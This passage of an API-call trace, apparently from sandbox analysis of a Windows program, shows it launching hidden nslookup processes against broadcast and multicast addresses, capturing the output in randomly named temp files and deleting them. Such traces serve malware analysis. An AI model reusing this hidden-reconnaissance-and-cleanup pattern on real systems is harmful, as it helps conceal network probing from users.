szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0049.071] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0049.071] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0049.071] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0049.072] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0049.072] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0049.072] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="7d", uUnique=0x0, lpTempFileName=0x21f2f60 | out: lpTempFileName="C:\\Windows\\TEMP\\7dBF1E.tmp" (normalized: "c:\\windows\\temp\\7dbf1e.tmp")) returned 0xbf1e [0049.073] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0049.073] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f4a00 [0049.073] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\7dBF1E.tmp", lpszShortPath=0x21f4a00, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\7dBF1E.tmp") returned 0x1a [0049.073] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2f60) returned 1 [0049.073] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0049.073] CreateFileW (lpFileName="C:\\Windows\\TEMP\\gBF1D.tmp" (normalized: "c:\\windows\\temp\\gbf1d.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0049.073] CreateFileW (lpFileName="C:\\Windows\\TEMP\\7dBF1E.tmp" (normalized: "c:\\windows\\temp\\7dbf1e.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0049.073] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 192.168.0.255", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9ec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x160, hStdError=0x15c), lpProcessInformation=0x18f9b8 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 192.168.0.255", lpProcessInformation=0x18f9b8*(hProcess=0x158, hThread=0x164, dwProcessId=0x9fc, dwThreadId=0xa0c)) returned 1 [0049.094] NtClose (Handle=0x164) returned 0x0 [0049.094] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xea60) returned 0x0 [0050.931] NtClose (Handle=0x160) returned 0x0 [0050.931] NtClose (Handle=0x15c) returned 0x0 [0050.933] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0050.933] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\gBF1D.tmp" (normalized: "c:\\windows\\temp\\gbf1d.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f904 | out: lpFileInformation=0x18f904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3caaa470, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x3caaa470, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x3dc5e810, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x2b)) returned 1 [0050.933] CreateFileW (lpFileName="C:\\Windows\\TEMP\\gBF1D.tmp" (normalized: "c:\\windows\\temp\\gbf1d.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0050.933] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x18f948, lpLastWriteTime=0x18f948) returned 0 [0050.933] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x18f934 | out: lpFileSizeHigh=0x18f934*=0x0) returned 0x2b [0050.933] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f940*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f940*=0) returned 0x0 [0050.933] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0050.933] ReadFile (in: hFile=0x15c, lpBuffer=0x21f98d0, nNumberOfBytesToRead=0x2b, lpNumberOfBytesRead=0x18f974, lpOverlapped=0x0 | out: lpBuffer=0x21f98d0*, lpNumberOfBytesRead=0x18f974*=0x2b, lpOverlapped=0x0) returned 1 [0050.933] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9960 [0050.933] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0050.933] NtClose (Handle=0x15c) returned 0x0 [0050.933] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\gBF1D.tmp" (normalized: "c:\\windows\\temp\\gbf1d.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3caaa470, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x3caaa470, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x3dc5e810, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x2b)) returned 1 [0050.933] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\gBF1D.tmp", dwFileAttributes=0x80) returned 1 [0050.934] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\gBF1D.tmp" (normalized: "c:\\windows\\temp\\gbf1d.tmp")) returned 1 [0050.934] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\7dBF1E.tmp" (normalized: "c:\\windows\\temp\\7dbf1e.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3caaa470, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x3caaa470, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x3dc84970, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x3c)) returned 1 [0050.935] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\7dBF1E.tmp", dwFileAttributes=0x80) returned 1 [0050.935] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\7dBF1E.tmp" (normalized: "c:\\windows\\temp\\7dbf1e.tmp")) returned 1 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0050.936] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9960) returned 1 [0050.936] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0050.936] NtClose (Handle=0x158) returned 0x0 [0050.936] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f4a00) returned 1 [0050.936] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f45f8) returned 1 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9960 [0050.936] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9960) returned 1 [0050.936] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed660 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed258 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9960 [0050.936] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed578 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9840 [0050.936] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed318 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0050.936] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed328 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed648 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed398 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed388 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9ac8 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed378 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a80 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed368 [0050.936] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0050.936] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9960) returned 1 [0050.936] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed258) returned 1 [0050.936] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9840) returned 1 [0050.936] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed578) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed318) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed328) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed660) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c30) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3d8) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9be8) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3c8) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9ba0) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3b8) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b58) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3a8) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed630) returned 1 [0050.937] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed630 [0050.937] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3a8 [0050.937] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b58 [0050.937] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3b8 [0050.937] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9ba0 [0050.937] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3c8 [0050.937] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9be8 [0050.937] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3d8 [0050.937] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c30 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed398) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9ac8) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed388) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a80) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed378) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed368) returned 1 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed648) returned 1 [0050.937] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0050.937] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0050.937] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0050.937] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0050.937] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0050.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f9d08, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0050.938] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0050.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f9d08, cbMultiByte=10, lpWideCharStr=0x21eeb70, cchWideChar=10 | out: lpWideCharStr="224.0.0.22") returned 10 [0050.938] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0050.938] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0050.938] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0050.938] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0050.938] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2f60 [0050.938] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x606610) returned 1 [0050.939] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0050.939] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0050.939] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0050.939] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0050.939] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0050.939] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0050.940] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0050.940] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0050.940] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0050.940] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0050.941] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0050.941] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0050.941] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0050.942] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0050.942] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0050.942] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="bU", uUnique=0x0, lpTempFileName=0x21f2f60 | out: lpTempFileName="C:\\Windows\\TEMP\\bUC66F.tmp" (normalized: "c:\\windows\\temp\\buc66f.tmp")) returned 0xc66f [0050.942] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0050.942] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f45f8 [0050.942] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\bUC66F.tmp", lpszShortPath=0x21f45f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\bUC66F.tmp") returned 0x1a [0050.943] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2f60) returned 1 [0050.943] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0050.943] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0050.943] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2f60 [0050.943] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x606610) returned 1 [0050.943] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0050.943] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0050.944] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0050.944] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0050.944] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0050.944] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0050.944] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0050.945] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0050.945] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0050.945] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0050.946] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0050.946] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0050.946] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0050.947] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0050.947] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0050.947] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0050.947] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0050.947] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0050.948] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="RRL", uUnique=0x0, lpTempFileName=0x21f2f60 | out: lpTempFileName="C:\\Windows\\TEMP\\RRLC680.tmp" (normalized: "c:\\windows\\temp\\rrlc680.tmp")) returned 0xc680 [0050.948] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0050.948] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f4a00 [0050.948] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\RRLC680.tmp", lpszShortPath=0x21f4a00, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\RRLC680.tmp") returned 0x1b [0050.948] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2f60) returned 1 [0050.948] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0050.948] CreateFileW (lpFileName="C:\\Windows\\TEMP\\bUC66F.tmp" (normalized: "c:\\windows\\temp\\buc66f.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x158 [0050.948] CreateFileW (lpFileName="C:\\Windows\\TEMP\\RRLC680.tmp" (normalized: "c:\\windows\\temp\\rrlc680.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0050.948] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 224.0.0.22", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9ec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x158, hStdError=0x15c), lpProcessInformation=0x18f9b8 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 224.0.0.22", lpProcessInformation=0x18f9b8*(hProcess=0x164, hThread=0x160, dwProcessId=0xa7c, dwThreadId=0xa8c)) returned 1 [0050.954] NtClose (Handle=0x160) returned 0x0 [0050.954] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0xea60) returned 0x0 [0055.121] NtClose (Handle=0x158) returned 0x0 [0055.122] NtClose (Handle=0x15c) returned 0x0 [0055.122] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0055.123] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\bUC66F.tmp" (normalized: "c:\\windows\\temp\\buc66f.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f904 | out: lpFileInformation=0x18f904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dc84970, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x3dc84970, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x404639f0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x5c)) returned 1 [0055.123] CreateFileW (lpFileName="C:\\Windows\\TEMP\\bUC66F.tmp" (normalized: "c:\\windows\\temp\\buc66f.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0055.123] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x18f948, lpLastWriteTime=0x18f948) returned 0 [0055.123] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x18f934 | out: lpFileSizeHigh=0x18f934*=0x0) returned 0x5c [0055.123] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f940*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f940*=0) returned 0x0 [0055.123] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0055.123] ReadFile (in: hFile=0x15c, lpBuffer=0x21eeb70, nNumberOfBytesToRead=0x5c, lpNumberOfBytesRead=0x18f974, lpOverlapped=0x0 | out: lpBuffer=0x21eeb70*, lpNumberOfBytesRead=0x18f974*=0x5c, lpOverlapped=0x0) returned 1 [0055.123] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eec80 [0055.123] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0055.123] NtClose (Handle=0x15c) returned 0x0 [0055.123] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\bUC66F.tmp" (normalized: "c:\\windows\\temp\\buc66f.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dc84970, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x3dc84970, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x404639f0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x5c)) returned 1 [0055.123] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\bUC66F.tmp", dwFileAttributes=0x80) returned 1 [0055.124] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\bUC66F.tmp" (normalized: "c:\\windows\\temp\\buc66f.tmp")) returned 1 [0055.125] GetFileAttributesExW 